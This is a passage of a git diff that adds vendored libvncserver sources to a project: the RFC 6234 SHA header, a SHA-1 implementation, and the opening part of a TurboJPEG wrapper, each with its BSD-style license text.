y, z) ((x) ^ (y) ^ (z)) + +#endif /* _SHA_PRIVATE__H */ + diff --git a/3rdparty/libvncserver/common/sha.h b/3rdparty/libvncserver/common/sha.h new file mode 100644 index 0000000..276c368 --- /dev/null +++ b/3rdparty/libvncserver/common/sha.h @@ -0,0 +1,358 @@ +/**************************** sha.h ****************************/ +/***************** See RFC 6234 for details. *******************/ +/* + Copyright (c) 2011 IETF Trust and the persons identified as + authors of the code. All rights reserved. + + Redistribution and use in source and binary forms, with or + without modification, are permitted provided that the following + conditions are met: + + - Redistributions of source code must retain the above + copyright notice, this list of conditions and + the following disclaimer. + + - Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided + with the distribution. + + - Neither the name of Internet Society, IETF or IETF Trust, nor + the names of specific contributors, may be used to endorse or + promote products derived from this software without specific + prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND + CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, + INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ +#ifndef _SHA_H_ +#define _SHA_H_ + +/* + * Description: + * This file implements the Secure Hash Algorithms + * as defined in the U.S. National Institute of Standards + * and Technology Federal Information Processing Standards + * Publication (FIPS PUB) 180-3 published in October 2008 + * and formerly defined in its predecessors, FIPS PUB 180-1 + * and FIP PUB 180-2. + * + * A combined document showing all algorithms is available at + * http://csrc.nist.gov/publications/fips/ + * fips180-3/fips180-3_final.pdf + * + * The five hashes are defined in these sizes: + * SHA-1 20 byte / 160 bit + * SHA-224 28 byte / 224 bit + * SHA-256 32 byte / 256 bit + * SHA-384 48 byte / 384 bit + * SHA-512 64 byte / 512 bit + * + * Compilation Note: + * These files may be compiled with two options: + * USE_32BIT_ONLY - use 32-bit arithmetic only, for systems + * without 64-bit integers + * + * USE_MODIFIED_MACROS - use alternate form of the SHA_Ch() + * and SHA_Maj() macros that are equivalent + * and potentially faster on many systems + * + */ + +#include +/* + * If you do not have the ISO standard stdint.h header file, then you + * must typedef the following: + * name meaning + * uint64_t unsigned 64-bit integer + * uint32_t unsigned 32-bit integer + * uint8_t unsigned 8-bit integer (i.e., unsigned char) + * int_least16_t integer of >= 16 bits + * + * See stdint-example.h + */ + +#ifndef _SHA_enum_ +#define _SHA_enum_ +/* + * All SHA functions return one of these values. + */ +enum { + shaSuccess = 0, + shaNull, /* Null pointer parameter */ + shaInputTooLong, /* input data too long */ + shaStateError, /* called Input after FinalBits or Result */ + shaBadParam /* passed a bad parameter */ +}; +#endif /* _SHA_enum_ */ + +/* + * These constants hold size information for each of the SHA + * hashing operations + */ +enum { + SHA1_Message_Block_Size = 64, SHA224_Message_Block_Size = 64, + SHA256_Message_Block_Size = 64, SHA384_Message_Block_Size = 128, + SHA512_Message_Block_Size = 128, + USHA_Max_Message_Block_Size = SHA512_Message_Block_Size, + + SHA1HashSize = 20, SHA224HashSize = 28, SHA256HashSize = 32, + SHA384HashSize = 48, SHA512HashSize = 64, + USHAMaxHashSize = SHA512HashSize, + + SHA1HashSizeBits = 160, SHA224HashSizeBits = 224, + SHA256HashSizeBits = 256, SHA384HashSizeBits = 384, + SHA512HashSizeBits = 512, USHAMaxHashSizeBits = SHA512HashSizeBits +}; + +/* + * These constants are used in the USHA (Unified SHA) functions. + */ +typedef enum SHAversion { + SHA1, SHA224, SHA256, SHA384, SHA512 +} SHAversion; + +/* + * This structure will hold context information for the SHA-1 + * hashing operation. + */ +typedef struct SHA1Context { + uint32_t Intermediate_Hash[SHA1HashSize/4]; /* Message Digest */ + + uint32_t Length_High; /* Message length in bits */ + uint32_t Length_Low; /* Message length in bits */ + + int_least16_t Message_Block_Index; /* Message_Block array index */ + /* 512-bit message blocks */ + uint8_t Message_Block[SHA1_Message_Block_Size]; + + int Computed; /* Is the hash computed? */ + int Corrupted; /* Cumulative corruption code */ +} SHA1Context; + +/* + * This structure will hold context information for the SHA-256 + * hashing operation. + */ +typedef struct SHA256Context { + uint32_t Intermediate_Hash[SHA256HashSize/4]; /* Message Digest */ + + uint32_t Length_High; /* Message length in bits */ + uint32_t Length_Low; /* Message length in bits */ + + int_least16_t Message_Block_Index; /* Message_Block array index */ + /* 512-bit message blocks */ + uint8_t Message_Block[SHA256_Message_Block_Size]; + + int Computed; /* Is the hash computed? */ + int Corrupted; /* Cumulative corruption code */ +} SHA256Context; + +/* + * This structure will hold context information for the SHA-512 + * hashing operation. + */ +typedef struct SHA512Context { +#ifdef USE_32BIT_ONLY + uint32_t Intermediate_Hash[SHA512HashSize/4]; /* Message Digest */ + uint32_t Length[4]; /* Message length in bits */ +#else /* !USE_32BIT_ONLY */ + uint64_t Intermediate_Hash[SHA512HashSize/8]; /* Message Digest */ + uint64_t Length_High, Length_Low; /* Message length in bits */ +#endif /* USE_32BIT_ONLY */ + + int_least16_t Message_Block_Index; /* Message_Block array index */ + /* 1024-bit message blocks */ + uint8_t Message_Block[SHA512_Message_Block_Size]; + + int Computed; /* Is the hash computed?*/ + int Corrupted; /* Cumulative corruption code */ +} SHA512Context; + +/* + * This structure will hold context information for the SHA-224 + * hashing operation. It uses the SHA-256 structure for computation. + */ +typedef struct SHA256Context SHA224Context; + +/* + * This structure will hold context information for the SHA-384 + * hashing operation. It uses the SHA-512 structure for computation. + */ +typedef struct SHA512Context SHA384Context; + +/* + * This structure holds context information for all SHA + * hashing operations. + */ +typedef struct USHAContext { + int whichSha; /* which SHA is being used */ + union { + SHA1Context sha1Context; + SHA224Context sha224Context; SHA256Context sha256Context; + SHA384Context sha384Context; SHA512Context sha512Context; + } ctx; + +} USHAContext; + +/* + * This structure will hold context information for the HMAC + * keyed-hashing operation. + */ +typedef struct HMACContext { + int whichSha; /* which SHA is being used */ + int hashSize; /* hash size of SHA being used */ + int blockSize; /* block size of SHA being used */ + USHAContext shaContext; /* SHA context */ + unsigned char k_opad[USHA_Max_Message_Block_Size]; + /* outer padding - key XORd with opad */ + int Computed; /* Is the MAC computed? */ + int Corrupted; /* Cumulative corruption code */ + +} HMACContext; + +/* + * This structure will hold context information for the HKDF + * extract-and-expand Key Derivation Functions. + */ +typedef struct HKDFContext { + int whichSha; /* which SHA is being used */ + HMACContext hmacContext; + int hashSize; /* hash size of SHA being used */ + unsigned char prk[USHAMaxHashSize]; + /* pseudo-random key - output of hkdfInput */ + int Computed; /* Is the key material computed? */ + int Corrupted; /* Cumulative corruption code */ +} HKDFContext; + +/* + * Function Prototypes + */ + +/* SHA-1 */ +extern int SHA1Reset(SHA1Context *); +extern int SHA1Input(SHA1Context *, const uint8_t *bytes, + unsigned int bytecount); +extern int SHA1FinalBits(SHA1Context *, uint8_t bits, + unsigned int bit_count); +extern int SHA1Result(SHA1Context *, + uint8_t Message_Digest[SHA1HashSize]); + +/* SHA-224 */ +extern int SHA224Reset(SHA224Context *); +extern int SHA224Input(SHA224Context *, const uint8_t *bytes, + unsigned int bytecount); +extern int SHA224FinalBits(SHA224Context *, uint8_t bits, + unsigned int bit_count); +extern int SHA224Result(SHA224Context *, + uint8_t Message_Digest[SHA224HashSize]); + +/* SHA-256 */ +extern int SHA256Reset(SHA256Context *); +extern int SHA256Input(SHA256Context *, const uint8_t *bytes, + unsigned int bytecount); +extern int SHA256FinalBits(SHA256Context *, uint8_t bits, + unsigned int bit_count); +extern int SHA256Result(SHA256Context *, + uint8_t Message_Digest[SHA256HashSize]); + +/* SHA-384 */ +extern int SHA384Reset(SHA384Context *); +extern int SHA384Input(SHA384Context *, const uint8_t *bytes, + unsigned int bytecount); +extern int SHA384FinalBits(SHA384Context *, uint8_t bits, + unsigned int bit_count); +extern int SHA384Result(SHA384Context *, + uint8_t Message_Digest[SHA384HashSize]); + +/* SHA-512 */ +extern int SHA512Reset(SHA512Context *); +extern int SHA512Input(SHA512Context *, const uint8_t *bytes, + unsigned int bytecount); +extern int SHA512FinalBits(SHA512Context *, uint8_t bits, + unsigned int bit_count); +extern int SHA512Result(SHA512Context *, + uint8_t Message_Digest[SHA512HashSize]); + +/* Unified SHA functions, chosen by whichSha */ +extern int USHAReset(USHAContext *context, SHAversion whichSha); +extern int USHAInput(USHAContext *context, + const uint8_t *bytes, unsigned int bytecount); +extern int USHAFinalBits(USHAContext *context, + uint8_t bits, unsigned int bit_count); +extern int USHAResult(USHAContext *context, + uint8_t Message_Digest[USHAMaxHashSize]); +extern int USHABlockSize(enum SHAversion whichSha); +extern int USHAHashSize(enum SHAversion whichSha); +extern int USHAHashSizeBits(enum SHAversion whichSha); +extern const char *USHAHashName(enum SHAversion whichSha); + +/* + * HMAC Keyed-Hashing for Message Authentication, RFC 2104, + * for all SHAs. + * This interface allows a fixed-length text input to be used. + */ +extern int hmac(SHAversion whichSha, /* which SHA algorithm to use */ + const unsigned char *text, /* pointer to data stream */ + int text_len, /* length of data stream */ + const unsigned char *key, /* pointer to authentication key */ + int key_len, /* length of authentication key */ + uint8_t digest[USHAMaxHashSize]); /* caller digest to fill in */ + +/* + * HMAC Keyed-Hashing for Message Authentication, RFC 2104, + * for all SHAs. + * This interface allows any length of text input to be used. + */ +extern int hmacReset(HMACContext *context, enum SHAversion whichSha, + const unsigned char *key, int key_len); +extern int hmacInput(HMACContext *context, const unsigned char *text, + int text_len); +extern int hmacFinalBits(HMACContext *context, uint8_t bits, + unsigned int bit_count); +extern int hmacResult(HMACContext *context, + uint8_t digest[USHAMaxHashSize]); + +/* + * HKDF HMAC-based Extract-and-Expand Key Derivation Function, + * RFC 5869, for all SHAs. + */ +extern int hkdf(SHAversion whichSha, const unsigned char *salt, + int salt_len, const unsigned char *ikm, int ikm_len, + const unsigned char *info, int info_len, + uint8_t okm[ ], int okm_len); +extern int hkdfExtract(SHAversion whichSha, const unsigned char *salt, + int salt_len, const unsigned char *ikm, + int ikm_len, uint8_t prk[USHAMaxHashSize]); +extern int hkdfExpand(SHAversion whichSha, const uint8_t prk[ ], + int prk_len, const unsigned char *info, + int info_len, uint8_t okm[ ], int okm_len); + +/* + * HKDF HMAC-based Extract-and-Expand Key Derivation Function, + * RFC 5869, for all SHAs. + * This interface allows any length of text input to be used. + */ +extern int hkdfReset(HKDFContext *context, enum SHAversion whichSha, + const unsigned char *salt, int salt_len); +extern int hkdfInput(HKDFContext *context, const unsigned char *ikm, + int ikm_len); +extern int hkdfFinalBits(HKDFContext *context, uint8_t ikm_bits, + unsigned int ikm_bit_count); +extern int hkdfResult(HKDFContext *context, + uint8_t prk[USHAMaxHashSize], + const unsigned char *info, int info_len, + uint8_t okm[USHAMaxHashSize], int okm_len); +#endif /* _SHA_H_ */ + diff --git a/3rdparty/libvncserver/common/sha1.c b/3rdparty/libvncserver/common/sha1.c new file mode 100644 index 0000000..53f1872 --- /dev/null +++ b/3rdparty/libvncserver/common/sha1.c @@ -0,0 +1,414 @@ +/**************************** sha1.c ***************************/ +/***************** See RFC 6234 for details. *******************/ +/* Copyright (c) 2011 IETF Trust and the persons identified as */ +/* authors of the code. All rights reserved. */ +/* See sha.h for terms of use and redistribution. */ + +/* + * Description: + * This file implements the Secure Hash Algorithm SHA-1 + * as defined in the U.S. National Institute of Standards + * and Technology Federal Information Processing Standards + * Publication (FIPS PUB) 180-3 published in October 2008 + * and formerly defined in its predecessors, FIPS PUB 180-1 + * and FIP PUB 180-2. + * + * A combined document showing all algorithms is available at + * http://csrc.nist.gov/publications/fips/ + * fips180-3/fips180-3_final.pdf + * + * The SHA-1 algorithm produces a 160-bit message digest for a + * given data stream that can serve as a means of providing a + * "fingerprint" for a message. + * + * Portability Issues: + * SHA-1 is defined in terms of 32-bit "words". This code + * uses (included via "sha.h") to define 32- and + * 8-bit unsigned integer types. If your C compiler does + * not support 32-bit unsigned integers, this code is not + * appropriate. + * + * Caveats: + * SHA-1 is designed to work with messages less than 2^64 bits + * long. This implementation uses SHA1Input() to hash the bits + * that are a multiple of the size of an 8-bit octet, and then + * optionally uses SHA1FinalBits() to hash the final few bits of + * the input. + */ + +#include "sha.h" +#include "sha-private.h" + +/* + * Define the SHA1 circular left shift macro + */ +#define SHA1_ROTL(bits,word) \ + (((word) << (bits)) | ((word) >> (32-(bits)))) + +/* + * Add "length" to the length. + * Set Corrupted when overflow has occurred. + */ +static uint32_t addTemp; +#define SHA1AddLength(context, length) \ + (addTemp = (context)->Length_Low, \ + (context)->Corrupted = \ + (((context)->Length_Low += (length)) < addTemp) && \ + (++(context)->Length_High == 0) ? shaInputTooLong \ + : (context)->Corrupted ) + +/* Local Function Prototypes */ +static void SHA1ProcessMessageBlock(SHA1Context *context); +static void SHA1Finalize(SHA1Context *context, uint8_t Pad_Byte); +static void SHA1PadMessage(SHA1Context *context, uint8_t Pad_Byte); + +/* + * SHA1Reset + * + * Description: + * This function will initialize the SHA1Context in preparation + * for computing a new SHA1 message digest. + * + * Parameters: + * context: [in/out] + * The context to reset. + * + * Returns: + * sha Error Code. + * + */ +int SHA1Reset(SHA1Context *context) +{ + if (!context) return shaNull; + + context->Length_High = context->Length_Low = 0; + context->Message_Block_Index = 0; + + /* Initial Hash Values: FIPS 180-3 section 5.3.1 */ + context->Intermediate_Hash[0] = 0x67452301; + context->Intermediate_Hash[1] = 0xEFCDAB89; + context->Intermediate_Hash[2] = 0x98BADCFE; + context->Intermediate_Hash[3] = 0x10325476; + context->Intermediate_Hash[4] = 0xC3D2E1F0; + + context->Computed = 0; + context->Corrupted = shaSuccess; + + return shaSuccess; +} + +/* + * SHA1Input + * + * Description: + * This function accepts an array of octets as the next portion + * of the message. + * + * Parameters: + * context: [in/out] + * The SHA context to update. + * message_array[ ]: [in] + * An array of octets representing the next portion of + * the message. + * length: [in] + * The length of the message in message_array. + * + * Returns: + * sha Error Code. + * + */ +int SHA1Input(SHA1Context *context, + const uint8_t *message_array, unsigned length) +{ + if (!context) return shaNull; + if (!length) return shaSuccess; + if (!message_array) return shaNull; + if (context->Computed) return context->Corrupted = shaStateError; + if (context->Corrupted) return context->Corrupted; + + while (length--) { + context->Message_Block[context->Message_Block_Index++] = + *message_array; + + if ((SHA1AddLength(context, 8) == shaSuccess) && + (context->Message_Block_Index == SHA1_Message_Block_Size)) + SHA1ProcessMessageBlock(context); + + message_array++; + } + + return context->Corrupted; +} + +/* + * SHA1FinalBits + * + * Description: + * This function will add in any final bits of the message. + * + * Parameters: + * context: [in/out] + * The SHA context to update. + * message_bits: [in] + * The final bits of the message, in the upper portion of the + * byte. (Use 0b###00000 instead of 0b00000### to input the + * three bits ###.) + * length: [in] + * The number of bits in message_bits, between 1 and 7. + * + * Returns: + * sha Error Code. + */ +int SHA1FinalBits(SHA1Context *context, uint8_t message_bits, + unsigned int length) +{ + static uint8_t masks[8] = { + /* 0 0b00000000 */ 0x00, /* 1 0b10000000 */ 0x80, + /* 2 0b11000000 */ 0xC0, /* 3 0b11100000 */ 0xE0, + /* 4 0b11110000 */ 0xF0, /* 5 0b11111000 */ 0xF8, + /* 6 0b11111100 */ 0xFC, /* 7 0b11111110 */ 0xFE + }; + + static uint8_t markbit[8] = { + /* 0 0b10000000 */ 0x80, /* 1 0b01000000 */ 0x40, + /* 2 0b00100000 */ 0x20, /* 3 0b00010000 */ 0x10, + /* 4 0b00001000 */ 0x08, /* 5 0b00000100 */ 0x04, + /* 6 0b00000010 */ 0x02, /* 7 0b00000001 */ 0x01 + }; + + if (!context) return shaNull; + if (!length) return shaSuccess; + if (context->Corrupted) return context->Corrupted; + if (context->Computed) return context->Corrupted = shaStateError; + if (length >= 8) return context->Corrupted = shaBadParam; + + SHA1AddLength(context, length); + SHA1Finalize(context, + (uint8_t) ((message_bits & masks[length]) | markbit[length])); + + return context->Corrupted; +} + +/* + * SHA1Result + * + * Description: + * This function will return the 160-bit message digest + * into the Message_Digest array provided by the caller. + * NOTE: + * The first octet of hash is stored in the element with index 0, + * the last octet of hash in the element with index 19. + * + * Parameters: + * context: [in/out] + * The context to use to calculate the SHA-1 hash. + * Message_Digest[ ]: [out] + * Where the digest is returned. + * + * Returns: + * sha Error Code. + * + */ +int SHA1Result(SHA1Context *context, + uint8_t Message_Digest[SHA1HashSize]) +{ + int i; + + if (!context) return shaNull; + if (!Message_Digest) return shaNull; + if (context->Corrupted) return context->Corrupted; + + if (!context->Computed) + SHA1Finalize(context, 0x80); + + for (i = 0; i < SHA1HashSize; ++i) + Message_Digest[i] = (uint8_t) (context->Intermediate_Hash[i>>2] + >> (8 * ( 3 - ( i & 0x03 ) ))); + + return shaSuccess; +} + +/* + * SHA1ProcessMessageBlock + * + * Description: + * This helper function will process the next 512 bits of the + * message stored in the Message_Block array. + * + * Parameters: + * context: [in/out] + * The SHA context to update. + * + * Returns: + * Nothing. + * + * Comments: + * Many of the variable names in this code, especially the + * single character names, were used because those were the + * names used in the Secure Hash Standard. + */ +static void SHA1ProcessMessageBlock(SHA1Context *context) +{ + /* Constants defined in FIPS 180-3, section 4.2.1 */ + const uint32_t K[4] = { + 0x5A827999, 0x6ED9EBA1, 0x8F1BBCDC, 0xCA62C1D6 + }; + + int t; /* Loop counter */ + uint32_t temp; /* Temporary word value */ + uint32_t W[80]; /* Word sequence */ + uint32_t A, B, C, D, E; /* Word buffers */ + + /* + * Initialize the first 16 words in the array W + */ + for (t = 0; t < 16; t++) { + W[t] = ((uint32_t)context->Message_Block[t * 4]) << 24; + W[t] |= ((uint32_t)context->Message_Block[t * 4 + 1]) << 16; + W[t] |= ((uint32_t)context->Message_Block[t * 4 + 2]) << 8; + W[t] |= ((uint32_t)context->Message_Block[t * 4 + 3]); + } + + for (t = 16; t < 80; t++) + W[t] = SHA1_ROTL(1, W[t-3] ^ W[t-8] ^ W[t-14] ^ W[t-16]); + + A = context->Intermediate_Hash[0]; + B = context->Intermediate_Hash[1]; + C = context->Intermediate_Hash[2]; + D = context->Intermediate_Hash[3]; + E = context->Intermediate_Hash[4]; + + for (t = 0; t < 20; t++) { + temp = SHA1_ROTL(5,A) + SHA_Ch(B, C, D) + E + W[t] + K[0]; + E = D; + D = C; + C = SHA1_ROTL(30,B); + B = A; + A = temp; + } + + for (t = 20; t < 40; t++) { + temp = SHA1_ROTL(5,A) + SHA_Parity(B, C, D) + E + W[t] + K[1]; + E = D; + D = C; + C = SHA1_ROTL(30,B); + B = A; + A = temp; + } + + for (t = 40; t < 60; t++) { + temp = SHA1_ROTL(5,A) + SHA_Maj(B, C, D) + E + W[t] + K[2]; + E = D; + D = C; + C = SHA1_ROTL(30,B); + B = A; + A = temp; + } + + for (t = 60; t < 80; t++) { + temp = SHA1_ROTL(5,A) + SHA_Parity(B, C, D) + E + W[t] + K[3]; + E = D; + D = C; + C = SHA1_ROTL(30,B); + B = A; + A = temp; + } + + context->Intermediate_Hash[0] += A; + context->Intermediate_Hash[1] += B; + context->Intermediate_Hash[2] += C; + context->Intermediate_Hash[3] += D; + context->Intermediate_Hash[4] += E; + context->Message_Block_Index = 0; +} + +/* + * SHA1Finalize + * + * Description: + * This helper function finishes off the digest calculations. + * + * Parameters: + * context: [in/out] + * The SHA context to update. + * Pad_Byte: [in] + * The last byte to add to the message block before the 0-padding + * and length. This will contain the last bits of the message + * followed by another single bit. If the message was an + * exact multiple of 8-bits long, Pad_Byte will be 0x80. + * + * Returns: + * sha Error Code. + * + */ +static void SHA1Finalize(SHA1Context *context, uint8_t Pad_Byte) +{ + int i; + SHA1PadMessage(context, Pad_Byte); + /* message may be sensitive, clear it out */ + for (i = 0; i < SHA1_Message_Block_Size; ++i) + context->Message_Block[i] = 0; + context->Length_High = 0; /* and clear length */ + context->Length_Low = 0; + context->Computed = 1; +} + +/* + * SHA1PadMessage + * + * Description: + * According to the standard, the message must be padded to the next + * even multiple of 512 bits. The first padding bit must be a '1'. + * The last 64 bits represent the length of the original message. + * All bits in between should be 0. This helper function will pad + * the message according to those rules by filling the Message_Block + * array accordingly. When it returns, it can be assumed that the + * message digest has been computed. + * + * Parameters: + * context: [in/out] + * The context to pad. + * Pad_Byte: [in] + * The last byte to add to the message block before the 0-padding + * and length. This will contain the last bits of the message + * followed by another single bit. If the message was an + * exact multiple of 8-bits long, Pad_Byte will be 0x80. + * + * Returns: + * Nothing. + */ +static void SHA1PadMessage(SHA1Context *context, uint8_t Pad_Byte) +{ + /* + * Check to see if the current message block is too small to hold + * the initial padding bits and length. If so, we will pad the + * block, process it, and then continue padding into a second + * block. + */ + if (context->Message_Block_Index >= (SHA1_Message_Block_Size - 8)) { + context->Message_Block[context->Message_Block_Index++] = Pad_Byte; + while (context->Message_Block_Index < SHA1_Message_Block_Size) + context->Message_Block[context->Message_Block_Index++] = 0; + + SHA1ProcessMessageBlock(context); + } else + context->Message_Block[context->Message_Block_Index++] = Pad_Byte; + + while (context->Message_Block_Index < (SHA1_Message_Block_Size - 8)) + context->Message_Block[context->Message_Block_Index++] = 0; + + /* + * Store the message length as the last 8 octets + */ + context->Message_Block[56] = (uint8_t) (context->Length_High >> 24); + context->Message_Block[57] = (uint8_t) (context->Length_High >> 16); + context->Message_Block[58] = (uint8_t) (context->Length_High >> 8); + context->Message_Block[59] = (uint8_t) (context->Length_High); + context->Message_Block[60] = (uint8_t) (context->Length_Low >> 24); + context->Message_Block[61] = (uint8_t) (context->Length_Low >> 16); + context->Message_Block[62] = (uint8_t) (context->Length_Low >> 8); + context->Message_Block[63] = (uint8_t) (context->Length_Low); + + SHA1ProcessMessageBlock(context); +} + diff --git a/3rdparty/libvncserver/common/turbojpeg.c b/3rdparty/libvncserver/common/turbojpeg.c new file mode 100644 index 0000000..934e4f1 --- /dev/null +++ b/3rdparty/libvncserver/common/turbojpeg.c @@ -0,0 +1,856 @@ +/* + * Copyright (C)2009-2012 D. R. Commander. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +/* TurboJPEG/OSS: this implements the TurboJPEG API using libjpeg-turbo */ + +#include +#include +#include +#ifndef JCS_EXTENSIONS +#define JPEG_INTERNAL_OPTIONS +#endif +#include +#include +#include +#include "./turbojpeg.h" + +#define PAD(v, p) ((v+(p)-1)&(~((p)-1))) + +#define CSTATE_START 100 +#define DSTATE_START 200 +#define MEMZERO(ptr, size) memset(ptr, 0, size) + +#ifndef min + #define min(a,b) ((a)<(b)?(a):(b)) +#endif + +#ifndef max + #define max(a,b) ((a)>(b)?(a):(b)) +#endif + + +/* Error handling (based on example in example.c) */ + +static char errStr[JMSG_LENGTH_MAX]="No error"; + +struct my_error_mgr +{ + struct jpeg_error_mgr pub; + jmp_buf setjmp_buffer; +}; +typedef struct my_error_mgr *my_error_ptr; + +static void my_error_exit(j_common_ptr cinfo) +{ + my_error_ptr myerr=(my_error_ptr)cinfo->err; + (*cinfo->err->output_message)(cinfo); + longjmp(myerr->setjmp_buffer, 1); +} + +/* Based on output_message() in jerror.c */ + +static void my_output_message(j_common_ptr cinfo) +{ + (*cinfo->err->format_message)(cinfo, errStr); +} + + +/* Global structures, macros, etc. */ + +enum {COMPRESS=1, DECOMPRESS=2}; + +typedef struct _tjinstance +{ + struct jpeg_compress_struct cinfo; + struct jpeg_decompress_struct dinfo; + struct jpeg_destination_mgr jdst; + struct jpeg_source_mgr jsrc; + struct my_error_mgr jerr; + int init; +} tjinstance; + +static const int pixelsize[TJ_NUMSAMP]={3, 3, 3, 1, 3}; + +#define NUMSF 4 +static const tjscalingfactor sf[NUMSF]={ + {1, 1}, + {1, 2}, + {1, 4}, + {1, 8} +}; + +#define _throw(m) {snprintf(errStr, JMSG_LENGTH_MAX, "%s", m); \ + retval=-1; goto bailout;} +#define getinstance(handle) tjinstance *this=(tjinstance *)handle; \ + j_compress_ptr cinfo=NULL; j_decompress_ptr dinfo=NULL; \ + (void) cinfo; (void) dinfo; /* silence warnings */ \ + if(!this) {snprintf(errStr, JMSG_LENGTH_MAX, "Invalid handle"); \ + return -1;} \ + cinfo=&this->cinfo; dinfo=&this->dinfo; + +static int getPixelFormat(int pixelSize, int flags) +{ + if(pixelSize==1) return TJPF_GRAY; + if(pixelSize==3) + { + if(flags&TJ_BGR) return TJPF_BGR; + else return TJPF_RGB; + } + if(pixelSize==4) + { + if(flags&TJ_ALPHAFIRST) + { + if(flags&TJ_BGR) return TJPF_XBGR; + else return TJPF_XRGB; + } + else + { + if(flags&TJ_BGR) return TJPF_BGRX; + else return TJPF_RGBX; + } + } + return -1; +} + +static int setCompDefaults(struct jpeg_compress_struct *cinfo, + int pixelFormat, int subsamp, int jpegQual) +{ + int retval=0; + + switch(pixelFormat) + { + case TJPF_GRAY: + cinfo->in_color_space=JCS_GRAYSCALE; break; + #if JCS_EXTENSIONS==1 + case TJPF_RGB: + cinfo->in_color_space=JCS_EXT_RGB; break; + case TJPF_BGR: + cinfo->in_color_space=JCS_EXT_BGR; break; + case TJPF_RGBX: + case TJPF_RGBA: + cinfo->in_color_space=JCS_EXT_RGBX; break; + case TJPF_BGRX: + case TJPF_BGRA: + cinfo->in_color_space=JCS_EXT_BGRX; break; + case TJPF_XRGB: + case TJPF_ARGB: + cinfo->in_color_space=JCS_EXT_XRGB; break; + case TJPF_XBGR: + case TJPF_ABGR: + cinfo->in_color_space=JCS_EXT_XBGR; break; + #else + case TJPF_RGB: + case TJPF_BGR: + case TJPF_RGBX: + case TJPF_BGRX: + case TJPF_XRGB: + case TJPF_XBGR: + case TJPF_RGBA: + case TJPF_BGRA: + case TJPF_ARGB: + case TJPF_ABGR: + cinfo->in_color_space=JCS_RGB; pixelFormat=TJPF_RGB; + break; + #endif + } + + cinfo->input_components=tjPixelSize[pixelFormat]; + jpeg_set_defaults(cinfo); + if(jpegQual>=0) + { + jpeg_set_quality(cinfo, jpegQual, TRUE); + if(jpegQual>=96) cinfo->dct_method=JDCT_ISLOW; + else cinfo->dct_method=JDCT_FASTEST; + } + if(subsamp==TJSAMP_GRAY) + jpeg_set_colorspace(cinfo, JCS_GRAYSCALE); + else + jpeg_set_colorspace(cinfo, JCS_YCbCr); + + cinfo->comp_info[0].h_samp_factor=tjMCUWidth[subsamp]/8; + cinfo->comp_info[1].h_samp_factor=1; + cinfo->comp_info[2].h_samp_factor=1; + cinfo->comp_info[0].v_samp_factor=tjMCUHeight[subsamp]/8; + cinfo->comp_info[1].v_samp_factor=1; + cinfo->comp_info[2].v_samp_factor=1; + + return retval; +} + +static int setDecompDefaults(struct jpeg_decompress_struct *dinfo, + int pixelFormat) +{ + int retval=0; + + switch(pixelFormat) + { + case TJPF_GRAY: + dinfo->out_color_space=JCS_GRAYSCALE; break; + #if JCS_EXTENSIONS==1 + case TJPF_RGB: + dinfo->out_color_space=JCS_EXT_RGB; break; + case TJPF_BGR: + dinfo->out_color_space=JCS_EXT_BGR; break; + case TJPF_RGBX: + dinfo->out_color_space=JCS_EXT_RGBX; break; + case TJPF_BGRX: + dinfo->out_color_space=JCS_EXT_BGRX; break; + case TJPF_XRGB: + dinfo->out_color_space=JCS_EXT_XRGB; break; + case TJPF_XBGR: + dinfo->out_color_space=JCS_EXT_XBGR; break; + #if JCS_ALPHA_EXTENSIONS==1 + case TJPF_RGBA: + dinfo->out_color_space=JCS_EXT_RGBA; break; + case TJPF_BGRA: + dinfo->out_color_space=JCS_EXT_BGRA; break; + case TJPF_ARGB: + dinfo->out_color_space=JCS_EXT_ARGB; break; + case TJPF_ABGR: + dinfo->out_color_space=JCS_EXT_ABGR; break; + #endif + #else + case TJPF_RGB: + case TJPF_BGR: + case TJPF_RGBX: + case TJPF_BGRX: + case TJPF_XRGB: + case TJPF_XBGR: + case TJPF_RGBA: + case TJPF_BGRA: + 